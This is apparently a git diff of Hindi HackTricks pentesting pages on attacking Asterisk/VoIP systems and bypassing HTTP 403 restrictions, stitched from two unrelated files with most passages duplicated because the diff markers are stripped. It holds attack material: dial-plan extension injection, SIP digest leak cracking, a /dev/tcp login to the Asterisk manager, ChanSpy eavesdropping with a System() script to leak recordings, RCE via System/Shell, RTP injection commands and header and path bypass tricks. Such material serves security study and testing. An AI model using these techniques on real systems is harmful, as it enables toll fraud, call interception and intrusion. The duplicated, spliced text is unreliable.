जब **`type=friend`** का उपयोग किया जाता है, तो **host** चर का **मूल्य** **उपयोग नहीं किया जाएगा**, इसलिए यदि एक व्यवस्थापक **SIP-trunk को उस मूल्य का उपयोग करके गलत कॉन्फ़िगर करता है**, तो **कोई भी इससे कनेक्ट कर सकेगा**
जब **`type=friend`** का उपयोग किया जाता है, तो **host** चर का **मूल्य** **उपयोग नहीं किया जाएगा**, इसलिए यदि एक व्यवस्थापक **SIP-trunk को** उस मूल्य का उपयोग करके **गलत कॉन्फ़िगर करता है**, तो **कोई भी इससे कनेक्ट कर सकेगा**
उदाहरण के लिए, यह कॉन्फ़िगरेशन कमजोर होगा:\
`host=10.10.10.10`\
@ -369,13 +377,13 @@ host=dynamic
### मुफ्त कॉल / एस्टेरिस्क संदर्भ गलत कॉन्फ़िगरेशन
Asterisk में एक **संदर्भ** एक नामित कंटेनर या खंड है जो डायल योजना में **संबंधित विस्तार, क्रियाएँ और नियमों** को एक साथ समूहित करता है। डायल योजना Asterisk प्रणाली का मुख्य घटक है, क्योंकि यह **कैसे आने वाली और जाने वाली कॉल को संभाला और रूट किया जाता है** को परिभाषित करता है। संदर्भों का उपयोग डायल योजना को व्यवस्थित करने, पहुंच नियंत्रण प्रबंधित करने और प्रणाली के विभिन्न भागों के बीच विभाजन प्रदान करने के लिए किया जाता है।
Asterisk में एक **संदर्भ** एक नामित कंटेनर या खंड है जो डायल योजना में **संबंधित विस्तार, क्रियाएँ और नियमों** को एक साथ समूहित करता है। डायल योजना Asterisk प्रणाली का मुख्य घटक है, क्योंकि यह **कैसे आने वाली और जाने वाली कॉलों को संभाला और रूट किया जाता है** को परिभाषित करता है। संदर्भों का उपयोग डायल योजना को व्यवस्थित करने, पहुंच नियंत्रण प्रबंध करने और प्रणाली के विभिन्न भागों के बीच विभाजन प्रदान करने के लिए किया जाता है।
प्रत्येक संदर्भ कॉन्फ़िगरेशन फ़ाइल में परिभाषित होता है, आमतौर पर **`extensions.conf`** फ़ाइल में। संदर्भों को वर्गाकार ब्रैकेट द्वारा दर्शाया जाता है, जिसमें संदर्भ का नाम उनके भीतर होता है। उदाहरण के लिए:
```bash
csharpCopy code[my_context]
```
आपके संदर्भ के भीतर, आप एक्सटेंशन (डायल किए गए नंबरों के पैटर्न) को परिभाषित करते हैं और उन्हें क्रियाओं या अनुप्रयोगों की एक श्रृंखला के साथ जोड़ते हैं। ये क्रियाएँ निर्धारित करती हैं कि कॉल को कैसे संसाधित किया जाता है। उदाहरण के लिए:
अंदर के संदर्भ में, आप एक्सटेंशन (डायल किए गए नंबरों के पैटर्न) को परिभाषित करते हैं और उन्हें क्रियाओं या अनुप्रयोगों की एक श्रृंखला के साथ जोड़ते हैं। ये क्रियाएँ निर्धारित करती हैं कि कॉल को कैसे संसाधित किया जाता है। उदाहरण के लिए:
```scss
[my_context]
exten => 100,1,Answer()
@ -403,7 +411,7 @@ include => external
इसके अलावा, डिफ़ॉल्ट रूप से **`sip.conf`** फ़ाइल में **`allowguest=true`** होता है, तो **कोई भी** हमलावर **बिना प्रमाणीकरण** के किसी अन्य नंबर पर कॉल कर सकेगा।
{% endhint %}
* **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS आमंत्रण यह जांचता है कि **PBX सर्वर हमें बिना प्रमाणीकरण के कॉल करने की अनुमति देता है**। यदि SIP सर्वर की गलत कॉन्फ़िगरेशन है, तो यह हमें बाहरी नंबरों पर कॉल करने की अनुमति देगा। यह हमें कॉल को दूसरे बाहरी नंबर पर स्थानांतरित करने की भी अनुमति दे सकता है।
* **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS आमंत्रण यह जांचता है कि क्या एक **PBX सर्वर हमें बिना प्रमाणीकरण के कॉल करने की अनुमति देता है**। यदि SIP सर्वर की गलत कॉन्फ़िगरेशन है, तो यह हमें बाहरी नंबरों पर कॉल करने की अनुमति देगा। यह हमें कॉल को दूसरे बाहरी नंबर पर स्थानांतरित करने की भी अनुमति दे सकता है।
उदाहरण के लिए, यदि आपके Asterisk सर्वर की खराब संदर्भ कॉन्फ़िगरेशन है, तो आप बिना प्राधिकरण के INVITE अनुरोध स्वीकार कर सकते हैं। इस मामले में, एक हमलावर बिना किसी उपयोगकर्ता/पासवर्ड को जाने कॉल कर सकता है।
@ -439,12 +447,12 @@ exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
```
पिछला एक उदाहरण है जहाँ उपयोगकर्ता से **एक दबाने के लिए कॉल करने** के लिए कहा जाता है, **दो दबाने के लिए** दूसरे को कॉल करने के लिए, या **पूर्ण एक्सटेंशन** यदि वह इसे जानता है।\
पिछला एक उदाहरण है जहाँ उपयोगकर्ता से **एक विभाग को कॉल करने के लिए 1 दबाने** के लिए कहा जाता है, **दूसरे को कॉल करने के लिए 2 दबाने** के लिए, या **यदि वह जानता है तो पूरा एक्सटेंशन**।\
कमजोरी यह है कि निर्दिष्ट **एक्सटेंशन की लंबाई की जांच नहीं की जाती, इसलिए एक उपयोगकर्ता 5 सेकंड का टाइमआउट पूरा नंबर दर्ज कर सकता है और इसे कॉल किया जाएगा।**
### एक्सटेंशन इंजेक्शन
एक्सटेंशन का उपयोग करते हुए:
एक एक्सटेंशन का उपयोग करते हुए:
```scss
exten => _X.,1,Dial(SIP/${EXTEN})
```
@ -456,7 +464,7 @@ exten => 101,1,Dial(SIP/101)
```scss
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
```
इसलिए, **`101`** और **`123123123`** पर कॉल भेजी जाएगी और केवल पहला कॉल प्राप्त करने वाला कॉल स्थापित होगा... लेकिन यदि एक हमलावर **कोई ऐसा एक्सटेंशन उपयोग करता है जो किसी भी मिलान को बायपास करता है** जो किया जा रहा है लेकिन अस्तित्व में नहीं है, तो वह **केवल इच्छित नंबर पर कॉल इंजेक्ट कर सकता है**
इसलिए, **`101`** और **`123123123`** पर कॉल भेजी जाएगी और केवल पहला कॉल प्राप्त करने वाला स्थापित होगा... लेकिन यदि एक हमलावर **कोई ऐसा एक्सटेंशन उपयोग करता है जो किसी भी मिलान को बायपास करता है** जो किया जा रहा है लेकिन अस्तित्व में नहीं है, तो वह **केवल इच्छित नंबर पर कॉल इंजेक्ट कर सकता है**
## SIPDigestLeak भेद्यता
@ -464,12 +472,12 @@ SIP Digest Leak एक भेद्यता है जो कई SIP फोन
**[यहां से भेद्यता परिदृश्य**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
1. एक IP फोन (शिकार) किसी भी पोर्ट (उदाहरण: 5060) पर सुन रहा है, फोन कॉल स्वीकार कर रहा है
1. एक IP फोन (शिकार) किसी भी पोर्ट पर सुन रहा है (उदाहरण: 5060), फोन कॉल स्वीकार कर रहा है
2. हमलावर IP फोन को एक INVITE भेजता है
3. शिकार फोन बजने लगता है और कोई उठाता है और लटकाता है (क्योंकि दूसरी तरफ कोई फोन का जवाब नहीं देता)
4. जब फोन लटकाया जाता है, तो **शिकार फोन हमलावर को एक BYE भेजता है**
5. **हमलावर एक 407 प्रतिक्रिया जारी करता है** जो **प्रमाणीकरण के लिए पूछता है** और एक प्रमाणीकरण चुनौती जारी करता है
6. **शिकार फोन एक दूसरे BYE में प्रमाणीकरण चुनौती का उत्तर प्रदान करता है**
4. जब फोन लटकाया जाता है, तो **शिकार फोन हमलावर को BYE भेजता है**
5. **हमलावर 407 प्रतिक्रिया जारी करता है** जो **प्रमाणीकरण के लिए पूछता है** और प्रमाणीकरण चुनौती जारी करता है
6. **शिकार फोन दूसरी BYE में प्रमाणीकरण चुनौती का उत्तर प्रदान करता है**
7. **हमलावर फिर अपनी स्थानीय मशीन (या वितरित नेटवर्क आदि) पर चुनौती प्रतिक्रिया पर एक ब्रूट-फोर्स हमला कर सकता है** और पासवर्ड का अनुमान लगा सकता है
* **SIPPTS लीक** [**sippts**](https://github.com/Pepelux/sippts)** से:** SIPPTS लीक SIP Digest Leak भेद्यता का लाभ उठाता है जो कई SIP फोन को प्रभावित करती है। आउटपुट को SipCrack प्रारूप में सहेजा जा सकता है ताकि इसे SIPPTS dcrack या SipCrack टूल का उपयोग करके ब्रूटफोर्स किया जा सके।
@ -495,7 +503,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
```
### Click2Call
Click2Call एक **वेब उपयोगकर्ता** को **परिचय** देने की अनुमति देता है (जो उदाहरण के लिए किसी उत्पाद में रुचि रख सकता है) ताकि वह **फोन नंबर** प्रदान कर सके जिससे उसे कॉल किया जा सके। फिर एक वाणिज्यिक कॉल की जाएगी, और जब वह **फोन उठाता है** तो उपयोगकर्ता को **कॉल किया जाएगा और एजेंट से जोड़ा जाएगा**
Click2Call एक **वेब उपयोगकर्ता** को **परिचय** देने की अनुमति देता है (जो उदाहरण के लिए किसी उत्पाद में रुचि रख सकता है) ताकि वह अपना **टेलीफोन नंबर** प्रदान कर सके और कॉल किया जा सके। फिर एक वाणिज्यिक कॉल की जाएगी, और जब वह **फोन उठाता है** तो उपयोगकर्ता को **कॉल किया जाएगा और एजेंट से जोड़ा जाएगा**
इसके लिए एक सामान्य Asterisk प्रोफ़ाइल है:
```scss
@ -525,11 +533,11 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
Asterisk में **`ChanSpy`** कमांड का उपयोग करना संभव है, जो **निगरानी करने के लिए विस्तार(s)** (या सभी) को इंगित करता है ताकि हो रही बातचीत को सुना जा सके। इस कमांड को एक विस्तार को सौंपा जाना चाहिए।
उदाहरण के लिए, **`exten => 333,1,ChanSpy('all',qb)`** यह इंगित करता है कि यदि आप **विस्तार 333** पर **कॉल** करते हैं, तो यह **`all`** विस्तारों की **निगरानी** करेगा, **जब भी एक नई बातचीत शुरू होती है** (**`b`**) तो **सुनना शुरू करेगा** शांत मोड (**`q`**) में क्योंकि हम इसमें हस्तक्षेप नहीं करना चाहते। आप **`*`** दबाकर या विस्तार संख्या को चिह्नित करके एक बातचीत से दूसरी बातचीत में जा सकते हैं।
उदाहरण के लिए, **`exten => 333,1,ChanSpy('all',qb)`** यह इंगित करता है कि यदि आप **विस्तार 333** पर **कॉल** करते हैं, तो यह **सभी** विस्तारों की **निगरानी** करेगा, **जब भी एक नई बातचीत शुरू होती है** (**`b`**) तो **सुनना शुरू करेगा** शांत मोड (**`q`**) में क्योंकि हम इसमें हस्तक्षेप नहीं करना चाहते। आप **`*`** दबाकर या विस्तार संख्या को चिह्नित करके एक बातचीत से दूसरी बातचीत में जा सकते हैं।
केवल एक विस्तार की निगरानी करने के लिए **`ExtenSpy`** का उपयोग करना भी संभव है।
बातचीत सुनने के बजाय, उन्हें फ़ाइलों में **रिकॉर्ड** करना संभव है, जैसे कि:
बातचीत को सुनने के बजाय, उन्हें फ़ाइलों में **रिकॉर्ड करना** संभव है, जैसे:
{% code overflow="wrap" %}
```scss
@ -545,23 +553,23 @@ exten => _X.,2,MixMonitor(${NAME})
```scss
exten => h,1,System(/tmp/leak_conv.sh &)
```
### RTCPBleed सुरक्षा दोष
### RTCPBleed सुरक्षा समस्या
**RTCPBleed** एक प्रमुख सुरक्षा समस्या है जो Asterisk-आधारित VoIP सर्वरों को प्रभावित करती है (2017 में प्रकाशित)। यह दोष **RTP (रीयल टाइम प्रोटोकॉल) ट्रैफ़िक** को **इंटरनेट पर किसी भी व्यक्ति द्वारा इंटरसेप्ट और रीडायरेक्ट** करने की अनुमति देता है, जो VoIP बातचीत को ले जाता है। यह इसलिए होता है क्योंकि RTP ट्रैफ़िक NAT (नेटवर्क एड्रेस ट्रांसलेशन) फ़ायरवॉल के माध्यम से नेविगेट करते समय प्रमाणीकरण को बायपास करता है।
**RTCPBleed** एक प्रमुख सुरक्षा समस्या है जो Asterisk-आधारित VoIP सर्वरों को प्रभावित करती है (2017 में प्रकाशित)। यह सुरक्षा समस्या **RTP (रीयल टाइम प्रोटोकॉल) ट्रैफ़िक** को **इंटरनेट पर किसी भी व्यक्ति द्वारा इंटरसेप्ट और रीडायरेक्ट** करने की अनुमति देती है, जो VoIP वार्तालापों को ले जाती है। यह तब होता है जब RTP ट्रैफ़िक NAT (नेटवर्क एड्रेस ट्रांसलेशन) फ़ायरवॉल के माध्यम से नेविगेट करते समय प्रमाणीकरण को बायपास करता है।
RTP प्रॉक्सी RTC सिस्टम को प्रभावित करने वाली **NAT सीमाओं** को संबोधित करने के लिए दो या अधिक पक्षों के बीच RTP स्ट्रीम को प्रॉक्सी करके प्रयास करती हैं। जब NAT मौजूद होता है, तो RTP प्रॉक्सी सॉफ़्टवेयर अक्सर सिग्नलिंग (जैसे SIP) के माध्यम से प्राप्त RTP IP और पोर्ट जानकारी पर भरोसा नहीं कर सकता। इसलिए, कई RTP प्रॉक्सियों ने एक तंत्र लागू किया है जहाँ ऐसा **IP और पोर्ट टुपलेट स्वचालित रूप से सीखा जाता है**। यह अक्सर आने वाले RTP ट्रैफ़िक का निरीक्षण करके और किसी भी आने वाले RTP ट्रैफ़िक के लिए स्रोत IP और पोर्ट को चिह्नित करके किया जाता है जिसे प्रतिक्रिया दी जानी चाहिए। इस तंत्र को "सीखने का मोड" कहा जा सकता है, **यह किसी प्रकार के प्रमाणीकरण का उपयोग नहीं करता है**। इसलिए **हमलावर** **RTP ट्रैफ़िक RTP प्रॉक्सी को भेज सकते हैं** और उस प्रॉक्सी किए गए RTP ट्रैफ़िक को प्राप्त कर सकते हैं जो एक चल रहे RTP स्ट्रीम के कॉलर या कली के लिए होना चाहिए। हम इस सुरक्षा दोष को RTP Bleed कहते हैं क्योंकि यह हमलावरों को वैध उपयोगकर्ताओं के लिए भेजे जाने वाले RTP मीडिया स्ट्रीम प्राप्त करने की अनुमति देत है।
RTP प्रॉक्सी RTC सिस्टम को प्रभावित करने वाली **NAT सीमाओं** को संबोधित करने के लिए दो या अधिक पक्षों के बीच RTP स्ट्रीम को प्रॉक्सी करके प्रयास करती हैं। जब NAT लागू होता है, तो RTP प्रॉक्सी सॉफ़्टवेयर अक्सर सिग्नलिंग (जैसे SIP) के माध्यम से प्राप्त RTP IP और पोर्ट जानकारी पर भरोसा नहीं कर सकता। इसलिए, कई RTP प्रॉक्सियों ने एक तंत्र लागू किया है जहाँ ऐसा **IP और पोर्ट टुपलेट स्वचालित रूप से सीखा जाता है**। यह अक्सर आने वाले RTP ट्रैफ़िक का निरीक्षण करके और किसी भी आने वाले RTP ट्रैफ़िक के लिए स्रोत IP और पोर्ट को चिह्नित करके किया जाता है जिसे प्रतिक्रिया दी जानी चाहिए। इस तंत्र को "सीखने का मोड" कहा जा सकता है, **यह किसी प्रकार के प्रमाणीकरण का उपयोग नहीं करता है**। इसलिए **हमलावर** **RTP ट्रैफ़िक RTP प्रॉक्सी को भेज सकते हैं** और उस प्रॉक्सी किए गए RTP ट्रैफ़िक को प्राप्त कर सकते हैं जो एक चल रहे RTP स्ट्रीम के कॉलर या कली के लिए होना चाहिए। हम इस सुरक्षा समस्या को RTP Bleed कहते हैं क्योंकि यह हमलावरों को वैध उपयोगकर्ताओं के लिए भेजे जाने वाले RTP मीडिया स्ट्रीम प्राप्त करने की अनुमति देत है।
RTP प्रॉक्सियों और RTP स्टैक्स का एक और दिलचस्प व्यवहार यह है कि कभी-कभी, **भले ही RTP Bleed के लिए संवेदनशील न हों**, वे **किसी भी स्रोत से RTP पैकेट स्वीकार, अग्रेषित और/या संसाधित करेंगे**। इसलिए हमलावर RTP पैकेट भेज सकते हैं जो उन्हें वैध मीडिया के बजाय अपना मीडिया इंजेक्ट करने की अनुमति दे सकते हैं। हम इस हमले को RTP इंजेक्शन कहते हैं क्योंकि यह मौजूदा RTP स्ट्रीम में अवैध RTP पैकेटों के इंजेक्शन की अनुमति देता है। यह सुरक्षा दोष RTP प्रॉक्सियों और एंडपॉइंट्स दोनों में पाया जा सकता है।
RTP प्रॉक्सियों और RTP स्टैक्स का एक और दिलचस्प व्यवहार यह है कि कभी-कभी, **भले ही RTP Bleed के लिए संवेदनशील न हों**, वे **किसी भी स्रोत से RTP पैकेट स्वीकार, अग्रेषित और/या संसाधित करेंगे**। इसलिए हमलावर RTP पैकेट भेज सकते हैं जो उन्हें वैध मीडिया के बजाय अपना मीडिया इंजेक्ट करने की अनुमति दे सकते हैं। हम इस हमले को RTP इंजेक्शन कहते हैं क्योंकि यह मौजूदा RTP स्ट्रीम में अवैध RTP पैकेटों के इंजेक्शन की अनुमति देता है। यह सुरक्षा समस्या RTP प्रॉक्सियों और एंडपॉइंट्स दोनों में पाई जा सकती है।
Asterisk और FreePBX ने पारंपरिक रूप से **`NAT=yes` सेटिंग** का उपयोग किया है, जो RTP ट्रैफ़िक को प्रमाणीकरण को बायपास करने की अनुमति देता है, जिससे कॉल पर कोई ऑडियो या एकतरफा ऑडियो हो सकता है।
अधिक जानकारी के लिए देखें [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
* **`SIPPTS rtpbleed`** [**sippts**](https://github.com/Pepelux/sippts)** से:** SIPPTS rtpbleed RTP स्ट्रीम भेजकर RTP Bleed सुरक्षा दोष का पता लगाता है।
* **`SIPPTS rtpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed RTP स्ट्रीम भेजकर RTP Bleed सुरक्षा समस्या का पता लगाता है।
```bash
sippts rtpbleed -i 10.10.0.10
```
* **`SIPPTS rtcpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed RTP Bleed कमजोरियों का पता लगाता है RTCP स्ट्रीम भेजकर।
* **`SIPPTS rtcpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed RTP Bleed भेद्यता का पता लगाता है RTCP स्ट्रीम भेजकर।
```bash
sippts rtcpbleed -i 10.10.0.10
```
@ -575,7 +583,7 @@ sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
```
### RCE
Asterisk में आप किसी तरह **extension नियम जोड़ने और उन्हें फिर से लोड करने** में सक्षम हो जाते हैं (उदाहरण के लिए एक कमजोर वेब प्रबंधक सर्वर से समझौता करके), तो **`System`** कमांड का उपयोग करके RCE प्राप्त करना संभव है।
Asterisk में आप किसी तरह **एक्सटेंशन नियम जोड़ने और उन्हें फिर से लोड करने** में सक्षम होते हैं (उदाहरण के लिए, एक कमजोर वेब प्रबंधक सर्वर से समझौता करके), तो **`System`** कमांड का उपयोग करके RCE प्राप्त करना संभव है।
```scss
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
```
@ -597,7 +605,7 @@ There is command called **`Shell`** that could be used **instead of `System`** t
* इसका उपयोग एक नए mysql उपयोगकर्ता को बैकडोर के रूप में बनाने के लिए किया जा सकता है।
* **`Elastix`**
* **`Elastix.conf`** -> mysql रूट पास, IMAPd पास, वेब प्रशासक पास जैसे कई पासवर्ड स्पष्ट पाठ में शामिल हैं।
* **कई फ़ोल्डर** समझौता किए गए asterisk उपयोगकर्ता के अंतर्गत आएंगे (यदि रूट के रूप में नहीं चल रहा है)। यह उपयोगकर्ता पिछले फ़ाइलों को पढ़ सकता है और साथ ही कॉन्फ़िगरेशन को नियंत्रित करता है, इसलिए वह Asterisk को निष्पादित करते समय अन्य बैकडोर बाइनरी लोड करने के लिए बना सकता है।
* **कई फ़ोल्डर** समझौता किए गए asterisk उपयोगकर्ता के अंतर्गत आएंगे (यदि रूट के रूप में नहीं चल रहा है)। यह उपयोगकर्ता पिछले फ़ाइलों को पढ़ सकता है और साथ ही कॉन्फ़िगरेशन को नियंत्रित करता है, इसलिए वह Asterisk को निष्पादित होने पर अन्य बैकडोर बाइनरी लोड करने के लिए बना सकता है।
### RTP Injection
@ -622,7 +630,7 @@ VoIP सर्वरों में DoS प्राप्त करने क
### OS Vulnerabilities
Asterisk जैसे सॉफ़्टवेयर को स्थापित करने का सबसे आसान तरीका एक **OS वितरण** डाउनलोड करना है जिसमें यह पहले से स्थापित है, जैसे: **FreePBX, Elastix, Trixbox**... समस्या यह है कि एक बार यह काम करने के बाद सिस्टम प्रशासक शायद **इन्हें फिर से अपडेट नहीं करें** और **कमजोरियाँ** समय के साथ खोजी जाएँगी।
Asterisk जैसे सॉफ़्टवेयर को स्थापित करने का सबसे आसान तरीका एक **OS वितरण** डाउनलोड करना है जिसमें यह पहले से स्थापित है, जैसे: **FreePBX, Elastix, Trixbox**... इनका समस्या यह है कि एक बार यह काम करने के बाद सिस्टम प्रशासक शायद **इन्हें फिर से अपडेट नहीं करें** और **कमजोरियाँ** समय के साथ खोजी जाएँगी।
## References
@ -637,6 +645,14 @@ Asterisk जैसे सॉफ़्टवेयर को स्थापि
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
<details>
<summary>Support HackTricks</summary>

View file

@ -9,31 +9,33 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* हैकिंग ट्रिक्स साझा करें [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PR सबमिट करके।
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* हैकिंग ट्रिक्स साझा करें [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करके।
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनिट्रेशन टेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। 20+ उपकरणों और सुविधाओं के साथ कहीं से भी एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स को प्रतिस्थापित नहीं करते - हम कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं ताकि उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस मिल सके।
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यावसायिक प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करें ताकि हमले की सतह को मैप कर सकें, सुरक्षा मुद्दों को खोज सकें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## HTTP Verbs/Methods Fuzzing
## HTTP क्रियाएँ/विधियाँ फज़िंग
फाइल तक पहुँचने के लिए **विभिन्न क्रियाओं** का उपयोग करने का प्रयास करें: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
* प्रतिक्रिया हेडर की जाँच करें, शायद कुछ जानकारी दी जा सकती है। उदाहरण के लिए, **HEAD** के लिए **200 प्रतिक्रिया** जिसमें `Content-Length: 55` है, का मतलब है कि **HEAD क्रिया जानकारी तक पहुँच सकती है**। लेकिन आपको अभी भी उस जानकारी को निकालने का एक तरीका खोजना होगा।
* प्रतिक्रिया हेडर की जाँच करें, शायद कुछ जानकारी दी जा सकती है। उदाहरण के लिए, **HEAD** के लिए **200 प्रतिक्रिया** के साथ `Content-Length: 55` का मतलब है कि **HEAD क्रिया जानकारी तक पहुँच सकती है**। लेकिन आपको अभी भी उस जानकारी को निकालने का एक तरीका खोजना होगा।
* `X-HTTP-Method-Override: PUT` जैसे HTTP हेडर का उपयोग करने से उपयोग की गई क्रिया को ओवरराइट किया जा सकता है।
* **`TRACE`** क्रिया का उपयोग करें और यदि आप बहुत भाग्यशाली हैं तो शायद प्रतिक्रिया में आप **मध्यवर्ती प्रॉक्सी द्वारा जोड़े गए हेडर** भी देख सकते हैं जो उपयोगी हो सकते हैं।
* **`TRACE`** क्रिया का उपयोग करें और यदि आप बहुत भाग्यशाली हैं तो शायद प्रतिक्रिया में आप उन **हेडरों को भी देख सकते हैं जो मध्यवर्ती प्रॉक्सी द्वारा जोड़े गए हैं** जो उपयोगी हो सकते हैं।
## HTTP Headers Fuzzing
## HTTP हेडर फज़िंग
* **Host हेडर** को किसी मनमाने मान में बदलें ([यहाँ काम किया](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
* संसाधन तक पहुँचने के लिए [**अन्य उपयोगकर्ता एजेंटों का उपयोग करने का प्रयास करें**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt)।
* **HTTP हेडर को फज़ करें**: HTTP प्रॉक्सी **हेडर**, HTTP प्रमाणीकरण बेसिक और NTLM ब्रूट-फोर्स (केवल कुछ संयोजनों के साथ) और अन्य तकनीकों का उपयोग करने का प्रयास करें। इसके लिए मैंने उपकरण [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) बनाया है।
* **HTTP हेडर फज़ करें**: HTTP प्रॉक्सी **हेडर**, HTTP प्रमाणीकरण बेसिक और NTLM ब्रूट-फोर्स (केवल कुछ संयोजनों के साथ) और अन्य तकनीकों का उपयोग करने का प्रयास करें। इसके लिए मैंने टूल [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) बनाया है।
* `X-Originating-IP: 127.0.0.1`
* `X-Forwarded-For: 127.0.0.1`
@ -53,17 +55,17 @@ GCP हैकिंग सीखें और अभ्यास करें: <
* `X-Original-URL: /admin/console`
* `X-Rewrite-URL: /admin/console`
* यदि पृष्ठ **प्रॉक्सी के पीछे है**, तो शायद प्रॉक्सी आपको निजी जानकारी तक पहुँचने से रोक रही है। [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **या** [**hop-by-hop हेडर**](../../pentesting-web/abusing-hop-by-hop-headers.md)** का दुरुपयोग करने का प्रयास करें।**
* यदि पृष्ठ **प्रॉक्सी के पीछे है**, तो शायद प्रॉक्सी आपको निजी जानकारी तक पहुँचने से रोक रही है। [**HTTP अनुरोध स्मगलिंग**](../../pentesting-web/http-request-smuggling/) **या** [**हॉप-बाय-हॉप हेडर**](../../pentesting-web/abusing-hop-by-hop-headers.md)** का दुरुपयोग करने का प्रयास करें।**
* विभिन्न प्रतिक्रियाओं की तलाश में [**विशेष HTTP हेडर**](special-http-headers.md) को फज़ करें।
* **HTTP विधियों** को फज़ करते समय विशेष HTTP हेडर को फज़ करें।
* **Host हेडर को हटा दें** और शायद आप सुरक्षा को बायपास करने में सक्षम होंगे।
## Path **Fuzzing**
## पथ **फज़िंग**
यदि _/path_ अवरुद्ध है:
* _**/**_**%2e/path _ का उपयोग करने का प्रयास करें (यदि पहुँच प्रॉक्सी द्वारा अवरुद्ध है, तो यह सुरक्षा को बायपास कर सकता है)। **\_\*\* /%252e\*\*/path (डबल URL एन्कोड) का भी प्रयास करें**
* **Unicode बायपास** का प्रयास करें: _/**%ef%bc%8f**path_ (URL एन्कोडेड वर्ण जैसे "/" हैं) इसलिए जब इसे फिर से एन्कोड किया जाएगा तो यह _//path_ होगा और शायद आप पहले से ही _/path_ नाम की जाँच को बायपास कर चुके होंगे
* _**/**_**%2e/path का उपयोग करने का प्रयास करें \_(यदि पहुँच प्रॉक्सी द्वारा अवरुद्ध है, तो यह सुरक्षा को बायपास कर सकता है)। **\_\*\* /%252e\*\*/path (डबल URL एन्कोड) का भी प्रयास करें**
* **Unicode बायपास** का प्रयास करें: _/**%ef%bc%8f**path_ (URL एन्कोडेड वर्ण ऐसे हैं जैसे "/") इसलिए जब इसे फिर से एन्कोड किया जाएगा तो यह _//path_ होगा और शायद आप पहले से ही _/path_ नाम की जाँच को बायपास कर चुके होंगे
* **अन्य पथ बायपास**:
* site.com/secret > HTTP 403 Forbidden
* site.com/SECRET > HTTP 200 OK
@ -89,32 +91,32 @@ GCP हैकिंग सीखें और अभ्यास करें: <
* {"user\_id":"\<legit\_id>","user\_id":"\<victims\_id>"} (JSON पैरामीटर प्रदूषण)
